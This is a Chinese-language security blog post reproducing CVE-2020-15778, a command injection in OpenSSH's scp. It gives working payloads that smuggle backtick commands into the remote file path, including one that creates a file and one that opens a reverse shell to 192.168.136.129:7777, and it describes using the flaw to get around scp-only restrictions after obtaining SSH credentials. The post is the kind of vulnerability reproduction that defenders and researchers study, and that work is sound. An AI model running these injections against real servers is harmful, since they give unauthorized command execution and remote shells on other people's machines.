CVE-2020-15778 Openssh命令注入漏洞复现

admin 2020年8月3日15:32:39评论1,195 views字数 1038阅读3分27秒阅读模式

一、关于SCP:

scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。

漏洞标题:OpenSSH 8.3p1中的scp允许进行eval注入

发现人:Chinmay Pandya

产品:Openssh

受影响的组件:SCP

漏洞版本:<= openssh-8.3p1

CVE编号:CVE-2020-15778


根据漏洞发现者的github,指出漏洞出现在此处989行代码,可进行命令注入

CVE-2020-15778 Openssh命令注入漏洞复现




二、漏洞复现:

测试环境:centos7,ssh版本如下:

CVE-2020-15778 Openssh命令注入漏洞复现



1、scp基础用法:

scp test.txt test@192.168.136.133:/tmp/test2.txt

CVE-2020-15778 Openssh命令注入漏洞复现

命令解析:将test.txt文件上传到192.168.136.133的/tmp 目录下的 test2.txt


但是前提是要知道ssh的密码

CVE-2020-15778 Openssh命令注入漏洞复现



2、poc payload:

scp  /sourcefile remoteserver:'`touch /tmp/exploit.sh`/targetfile'

在向远程主机拷贝文件时,文件的路径会追加到本地scp命令后,当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令


SCP支持带有“ -r”选项的目录传输。由于linux允许在文件名中使用反引号(`)。攻击者可以在文件名中创建有效负载,并且当受害者将完整文件夹应对到远程服务器时,该文件名中的有效负载将执行。


利用实例:

scp test.txt test@192.168.136.133:'`touch /tmp/exploit.sh`/tmp/test1.txt'

``是执行的命令

CVE-2020-15778 Openssh命令注入漏洞复现


exploit.sh成功被创建:

CVE-2020-15778 Openssh命令注入漏洞复现



3、直接反弹shell:

scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'

CVE-2020-15778 Openssh命令注入漏洞复现

反弹shell成功:

CVE-2020-15778 Openssh命令注入漏洞复现



三、实际环境中的利用方案以及场景:

对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到了ssh的用户密码,但是不允许ssh连接,或者ip等各种限制,可以尝试此漏洞进行利用


参考链接:

https://github.com/cpandya2909/CVE-2020-15778/


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年8月3日15:32:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2020-15778 Openssh命令注入漏洞复现http://cn-sec.com/archives/80666.html

发表评论

匿名网友 填写信息